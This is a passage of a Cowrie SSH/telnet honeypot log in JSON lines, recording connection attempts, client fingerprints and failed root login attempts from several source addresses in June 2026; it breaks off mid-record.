{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:ae:cb:e7:9d:11:17:08:a8:fe:c9:a1:ae:41:0e:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfJYzrQOflQ5s3XOPDTyU3zGMKle0pzrksEevpQgWyI2yJX7IOmw9uiYSUD9gAqIpELwy53DQ0u6pgbPvdnYJf5UeCsNwWGVhQmz+l4wGRkgc/UJQr5845H7OTm2CGcY0MA0+8sJpP+h1WFdr4Ztjx8kqmyhj6fhh6weDGeJwj9C2fO9AveerKn6rLJpA1lPHu6CdHo+NFI2UzVjkB2QL8VF8ZdmsRNjgqRs1NOCHUIQdXo+rLcGwkBoasUz5EXzkyFEwly63UEiz6DO7Eys7yPIw8xqpFIs0Zog5sMjAqJZ6ztOo/ktaKYdMybJibawLMe+O1KMO+dW90iSp7kffB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:46.911927Z","src_ip":"37.221.67.230","session":"a334bf978424","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:aa:cc:e3:15:84:f0:3f:09:c6:2c:9d:a2:4e:32:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCc8g8zdN4nhyCgAfMRKGVWBgp2oD9yT5I6HnWaw5BY9ePoZ0Z9u1iR1bVqiUOs8kic/msrRUNPwFg0xJo0LAkotgWTa9bEnYwHBvZr2Tz87eSSdGpl59kt1b1Q23iEKjb77ij2llvnU3nxLgd4/R8fYigRJ9/WM6QUXRlm8a0dtAZpBirDnQ41qBJgxH2y44VA19l6OmJVym3PoKfbWd8WmNqhPq9w09CNvBA81D0m6Nfv/LMXKFZ2xMnKPLf5OFq/t4QvXPAM/koGJPuEqSN6fLyDnN1jYABrSUG+7jFBWE3VvJJW6bL4WW/1yNqYzbmwtkSaWXkCG2NDZ6TuHSvl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:aa:cc:e3:15:84:f0:3f:09:c6:2c:9d:a2:4e:32:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:47.035044Z","src_ip":"37.221.67.230","session":"a334bf978424","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:aa:cc:e3:15:84:f0:3f:09:c6:2c:9d:a2:4e:32:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCc8g8zdN4nhyCgAfMRKGVWBgp2oD9yT5I6HnWaw5BY9ePoZ0Z9u1iR1bVqiUOs8kic/msrRUNPwFg0xJo0LAkotgWTa9bEnYwHBvZr2Tz87eSSdGpl59kt1b1Q23iEKjb77ij2llvnU3nxLgd4/R8fYigRJ9/WM6QUXRlm8a0dtAZpBirDnQ41qBJgxH2y44VA19l6OmJVym3PoKfbWd8WmNqhPq9w09CNvBA81D0m6Nfv/LMXKFZ2xMnKPLf5OFq/t4QvXPAM/koGJPuEqSN6fLyDnN1jYABrSUG+7jFBWE3VvJJW6bL4WW/1yNqYzbmwtkSaWXkCG2NDZ6TuHSvl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:47.037868Z","src_ip":"37.221.67.230","session":"a334bf978424","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:4c:cd:49:4e:04:e6:96:44:f2:ff:f3:7b:e1:3a:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBKwiXx7snVZSeKA6bV7Bn1hClF7jGIvlgrxmbHh+9AqC3xRkpnB63XWI1onJPf2Khc/WfSYsqsZXfHcprsn/SvNwWQyXViLIg1x0v2ddN6YZQFj4RiEdtVO6g3DetFNHG2sBmBgEgfmR1JEdiF2iYh5V3MrQtPUmGff9PNVunFJ3pwwrdmhOuS8J6gcbmAhecsy0Vj+iI8cg2zUlWw8Tv6UCU2MIxnXCrlVf+9+vFt7LT8oC8ebP/r+OG7JSf75VSFLVNsVrENIkBjOl49VGmREEJ7pa0WnYQXLuya7/TYyiixIrnUdYJ/CW0eRv5Ejhgg0EH83aLm03bAW1jssbn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:4c:cd:49:4e:04:e6:96:44:f2:ff:f3:7b:e1:3a:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:47.186699Z","src_ip":"37.221.67.230","session":"a334bf978424","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:4c:cd:49:4e:04:e6:96:44:f2:ff:f3:7b:e1:3a:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBKwiXx7snVZSeKA6bV7Bn1hClF7jGIvlgrxmbHh+9AqC3xRkpnB63XWI1onJPf2Khc/WfSYsqsZXfHcprsn/SvNwWQyXViLIg1x0v2ddN6YZQFj4RiEdtVO6g3DetFNHG2sBmBgEgfmR1JEdiF2iYh5V3MrQtPUmGff9PNVunFJ3pwwrdmhOuS8J6gcbmAhecsy0Vj+iI8cg2zUlWw8Tv6UCU2MIxnXCrlVf+9+vFt7LT8oC8ebP/r+OG7JSf75VSFLVNsVrENIkBjOl49VGmREEJ7pa0WnYQXLuya7/TYyiixIrnUdYJ/CW0eRv5Ejhgg0EH83aLm03bAW1jssbn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:47.189100Z","src_ip":"37.221.67.230","session":"a334bf978424","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:3b:df:02:d7:5c:49:59:8f:4d:ed:1d:7f:c7:ff:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFhU23kWYoqiMzPCxFlrWmvr6NcpgwVnQUQUyj7Fal9sSTm6KV98/123qxnrsoQ+tN5dHoMc0KHp+hRMIqkR2gVWlijopbo6HgkDddbD025G42uddcaR2MLwEUDBIPTQycTzRUMmmwFHRCfkebcR5IJd0uEW8i4ENx4UzOWod+defBhuweEARhWoKdAE8jzQBluGANdtDEXAwO1BrzA85zr2LcUPlytdBtNPQhXNuYoh/Hesya6KS1fOkaIMsW2CDOkMs++1PPQswwD36CBjaTWf5/zhrm+iPdIoXOZ5ESPcFFitYBLGdvElRIE2mGUU09+hMU/C9gu0apmRJXjWWX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:3b:df:02:d7:5c:49:59:8f:4d:ed:1d:7f:c7:ff:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:47.314220Z","src_ip":"37.221.67.230","session":"a334bf978424","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:3b:df:02:d7:5c:49:59:8f:4d:ed:1d:7f:c7:ff:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFhU23kWYoqiMzPCxFlrWmvr6NcpgwVnQUQUyj7Fal9sSTm6KV98/123qxnrsoQ+tN5dHoMc0KHp+hRMIqkR2gVWlijopbo6HgkDddbD025G42uddcaR2MLwEUDBIPTQycTzRUMmmwFHRCfkebcR5IJd0uEW8i4ENx4UzOWod+defBhuweEARhWoKdAE8jzQBluGANdtDEXAwO1BrzA85zr2LcUPlytdBtNPQhXNuYoh/Hesya6KS1fOkaIMsW2CDOkMs++1PPQswwD36CBjaTWf5/zhrm+iPdIoXOZ5ESPcFFitYBLGdvElRIE2mGUU09+hMU/C9gu0apmRJXjWWX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:47.317801Z","src_ip":"37.221.67.230","session":"a334bf978424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:47.441175Z","src_ip":"37.221.67.230","session":"a334bf978424","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":52256,"dst_ip":"159.203.135.109","dst_port":23,"session":"87c96cae1d81","protocol":"telnet","message":"New connection: 166.62.124.255:52256 (159.203.135.109:23) [session: 87c96cae1d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:48.749376Z"}
{"eventid":"cowrie.session.closed","duration":31.730452060699463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:43:20.479758Z","src_ip":"166.62.124.255","session":"87c96cae1d81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":35586,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba23ead8ba33","protocol":"ssh","message":"New connection: 27.71.230.31:35586 (10.17.0.5:22) [session: ba23ead8ba33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:43:39.839797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:43:40.235330Z","src_ip":"27.71.230.31","session":"ba23ead8ba33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:43:40.237334Z","src_ip":"27.71.230.31","session":"ba23ead8ba33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:43:42.813054Z","src_ip":"27.71.230.31","session":"ba23ead8ba33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:43:44.704837Z","src_ip":"27.71.230.31","session":"ba23ead8ba33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.120.230.72","src_port":41330,"dst_ip":"10.17.0.5","dst_port":22,"session":"e56e2c371077","protocol":"ssh","message":"New connection: 194.120.230.72:41330 (10.17.0.5:22) [session: e56e2c371077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:05.188836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:05.193743Z","src_ip":"194.120.230.72","session":"e56e2c371077","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:05.294140Z","src_ip":"194.120.230.72","session":"e56e2c371077","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:fc:e2:a6:58:2c:14:10:54:54:69:85:73:68:60:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrrUZ2RSmoI3JfoRj0uUT6Wk/yodwElwxOu5R7PpTd1mT/Ac5YU0+Wn3PCxt1vUJaIwnz0XcFd4zB4hZW1xleMxO4+dpA9NmGtu7cRJO8U6h6EjxpDqtaXlydyJ+vkyc+6arEVJc5Z/9Hjs8kUN0USwqkdxYeSWZJAr9WILMiIZEAhkmyUqOf3ivRA3O5xRXv777mCZEgkwWnmZmf386mmJJOqKJohCU88Aqb0+bxLverOFQ+GME6JTTc7djmmS498fdMr1esXG5iQlqw478r76M2H2Wmu4mBDELx5+LJ3UZQBRssbVqVtlMPwxQBvc2srM4UHXkptBLXR771hqaA/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:fc:e2:a6:58:2c:14:10:54:54:69:85:73:68:60:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:05.775289Z","src_ip":"194.120.230.72","session":"e56e2c371077","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:fc:e2:a6:58:2c:14:10:54:54:69:85:73:68:60:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrrUZ2RSmoI3JfoRj0uUT6Wk/yodwElwxOu5R7PpTd1mT/Ac5YU0+Wn3PCxt1vUJaIwnz0XcFd4zB4hZW1xleMxO4+dpA9NmGtu7cRJO8U6h6EjxpDqtaXlydyJ+vkyc+6arEVJc5Z/9Hjs8kUN0USwqkdxYeSWZJAr9WILMiIZEAhkmyUqOf3ivRA3O5xRXv777mCZEgkwWnmZmf386mmJJOqKJohCU88Aqb0+bxLverOFQ+GME6JTTc7djmmS498fdMr1esXG5iQlqw478r76M2H2Wmu4mBDELx5+LJ3UZQBRssbVqVtlMPwxQBvc2srM4UHXkptBLXR771hqaA/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:05.779134Z","src_ip":"194.120.230.72","session":"e56e2c371077","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:b1:7e:74:3d:51:1c:34:30:8f:20:c1:d7:e8:63:5f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGADbE12HgFzfYvVYBr+R+5g8VQWTtGCi8X/VTiWaOD5","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint bb:b1:7e:74:3d:51:1c:34:30:8f:20:c1:d7:e8:63:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:05.880353Z","src_ip":"194.120.230.72","session":"e56e2c371077","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:b1:7e:74:3d:51:1c:34:30:8f:20:c1:d7:e8:63:5f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGADbE12HgFzfYvVYBr+R+5g8VQWTtGCi8X/VTiWaOD5","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:05.883872Z","src_ip":"194.120.230.72","session":"e56e2c371077","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:39:97:23:6a:a0:2e:23:dc:2e:1a:32:5d:5e:87:5d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAL6N4X+u1S0mMwjqOVY5T2JRR/yeRrmIluQIbHGY9BaZ3i8IEARjCrTlLYeNm3CJyoVYH0Bl4RN2tWI1yP76Ua1gTC4p9SacmCPUQo3yW0MwSXyF43yOdbqhiQvtozT6EDEspLL4AOi71kGgMfSRfuT05Y2A9Ltav7eIs4p2hWrJAAAAFQDKx2yJZurps4lbwGC0yBkF8qVDYwAAAIAVXrxRdEpf/FhTeTuS06O5i0Kef+Z31kNWdJRZnv+S5qf5qGh4Nz1FoD5n4F7f+OoOrlMnkKW5z1fEvTszaztgMm59tOo1/3BpynHZXWVR7jlsyWmSF37dxnSRBwQ4b1MktIHGBEd+BT1uO5jrF4wVLyEvS7tyMGeQ7mSC+tbUxgAAAIANy8BZDIbQ69Y9TWVHfIFcNUp0cTDRbmSHD894UxeDdpQivnOa3h9a1sS4oDbUOApcOh4JTZNxPqshDwdXDSnuJQl+rLmPTFvaRbpfkl1bsD6tdE4wZwZ2mPn0YVA2jFzUUfavUWf1jdG3Ul9ZoR9iLw+k5lTaVtbNm/1ONcVpTQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 1d:39:97:23:6a:a0:2e:23:dc:2e:1a:32:5d:5e:87:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:05.985464Z","src_ip":"194.120.230.72","session":"e56e2c371077","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:39:97:23:6a:a0:2e:23:dc:2e:1a:32:5d:5e:87:5d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAL6N4X+u1S0mMwjqOVY5T2JRR/yeRrmIluQIbHGY9BaZ3i8IEARjCrTlLYeNm3CJyoVYH0Bl4RN2tWI1yP76Ua1gTC4p9SacmCPUQo3yW0MwSXyF43yOdbqhiQvtozT6EDEspLL4AOi71kGgMfSRfuT05Y2A9Ltav7eIs4p2hWrJAAAAFQDKx2yJZurps4lbwGC0yBkF8qVDYwAAAIAVXrxRdEpf/FhTeTuS06O5i0Kef+Z31kNWdJRZnv+S5qf5qGh4Nz1FoD5n4F7f+OoOrlMnkKW5z1fEvTszaztgMm59tOo1/3BpynHZXWVR7jlsyWmSF37dxnSRBwQ4b1MktIHGBEd+BT1uO5jrF4wVLyEvS7tyMGeQ7mSC+tbUxgAAAIANy8BZDIbQ69Y9TWVHfIFcNUp0cTDRbmSHD894UxeDdpQivnOa3h9a1sS4oDbUOApcOh4JTZNxPqshDwdXDSnuJQl+rLmPTFvaRbpfkl1bsD6tdE4wZwZ2mPn0YVA2jFzUUfavUWf1jdG3Ul9ZoR9iLw+k5lTaVtbNm/1ONcVpTQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:05.990789Z","src_ip":"194.120.230.72","session":"e56e2c371077","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:f3:e2:1c:08:27:a1:99:1c:7b:4b:70:73:96:d6:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQjz7nIWmkD0DpxyX5DcoBMff3kWcseLbK5KVnEwecQj+HiBb/ou8QxacKsGjTFZnGqzJOIpWQQX1FUKTeow7yqe7e4RPLtudv1nNViHd4gUzSv924WB48UaPlhrGLi56bQbUv03jR3Ay83LfpnKZPu6AnB6BfW58LfsosjG2MbtaVtBTS0KB1W8kY9JttKXmUCxz/Etzx2eU/KIjDzZw4gLH0ap7ltKmr8bkw612Lo1I7zB/nlIXuSt5fh/mk2thaMZV85al4DJ3eQkF0/5mlPsRi4GBQKzv229SHzJcBeyyP45VTt/CAXi4XF1dwt1cdpw0yhKn24tYFxvOmEfBd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:f3:e2:1c:08:27:a1:99:1c:7b:4b:70:73:96:d6:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:06.091572Z","src_ip":"194.120.230.72","session":"e56e2c371077","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:f3:e2:1c:08:27:a1:99:1c:7b:4b:70:73:96:d6:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQjz7nIWmkD0DpxyX5DcoBMff3kWcseLbK5KVnEwecQj+HiBb/ou8QxacKsGjTFZnGqzJOIpWQQX1FUKTeow7yqe7e4RPLtudv1nNViHd4gUzSv924WB48UaPlhrGLi56bQbUv03jR3Ay83LfpnKZPu6AnB6BfW58LfsosjG2MbtaVtBTS0KB1W8kY9JttKXmUCxz/Etzx2eU/KIjDzZw4gLH0ap7ltKmr8bkw612Lo1I7zB/nlIXuSt5fh/mk2thaMZV85al4DJ3eQkF0/5mlPsRi4GBQKzv229SHzJcBeyyP45VTt/CAXi4XF1dwt1cdpw0yhKn24tYFxvOmEfBd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:06.094965Z","src_ip":"194.120.230.72","session":"e56e2c371077","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:67:fa:60:65:d9:27:d4:a9:52:ee:51:c7:90:e7:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxvGYQAka5DsjR/qjrNsF0n6sXUCmjGLIvYcRxiGKc+ExyiyHM/uN908fZVZinQM5yQFQKnryjmsiZ8YTzruBvPBcEwj4L3DHrsWeqfHSFYePxah+mMnk5EMp987r3Ccbpe/ZYTijU03mW1cumPuh96r2rRbDhzjkO/vlYwSALUpkPUQi7IvPRvM4IseCrLmZrz+Ii6+79/EukKtRGX/IliHLcghhVw4hop2JA7hqF+opzyL/jiBoNaaCLuPaLblfIUVDLW6ayshPQWqKbXH9zILccDqhz+z3oN6ca6f6moFUo8ot3AhMLYc75qtbGmY2kb+c3UoUmp8eVj0x4oTCR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:67:fa:60:65:d9:27:d4:a9:52:ee:51:c7:90:e7:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:06.195452Z","src_ip":"194.120.230.72","session":"e56e2c371077","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:67:fa:60:65:d9:27:d4:a9:52:ee:51:c7:90:e7:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxvGYQAka5DsjR/qjrNsF0n6sXUCmjGLIvYcRxiGKc+ExyiyHM/uN908fZVZinQM5yQFQKnryjmsiZ8YTzruBvPBcEwj4L3DHrsWeqfHSFYePxah+mMnk5EMp987r3Ccbpe/ZYTijU03mW1cumPuh96r2rRbDhzjkO/vlYwSALUpkPUQi7IvPRvM4IseCrLmZrz+Ii6+79/EukKtRGX/IliHLcghhVw4hop2JA7hqF+opzyL/jiBoNaaCLuPaLblfIUVDLW6ayshPQWqKbXH9zILccDqhz+z3oN6ca6f6moFUo8ot3AhMLYc75qtbGmY2kb+c3UoUmp8eVj0x4oTCR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:06.198560Z","src_ip":"194.120.230.72","session":"e56e2c371077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:06.299481Z","src_ip":"194.120.230.72","session":"e56e2c371077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":47462,"dst_ip":"10.17.0.5","dst_port":22,"session":"10379418ff94","protocol":"ssh","message":"New connection: 103.172.78.219:47462 (10.17.0.5:22) [session: 10379418ff94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:11.240090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:11.244422Z","src_ip":"103.172.78.219","session":"10379418ff94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1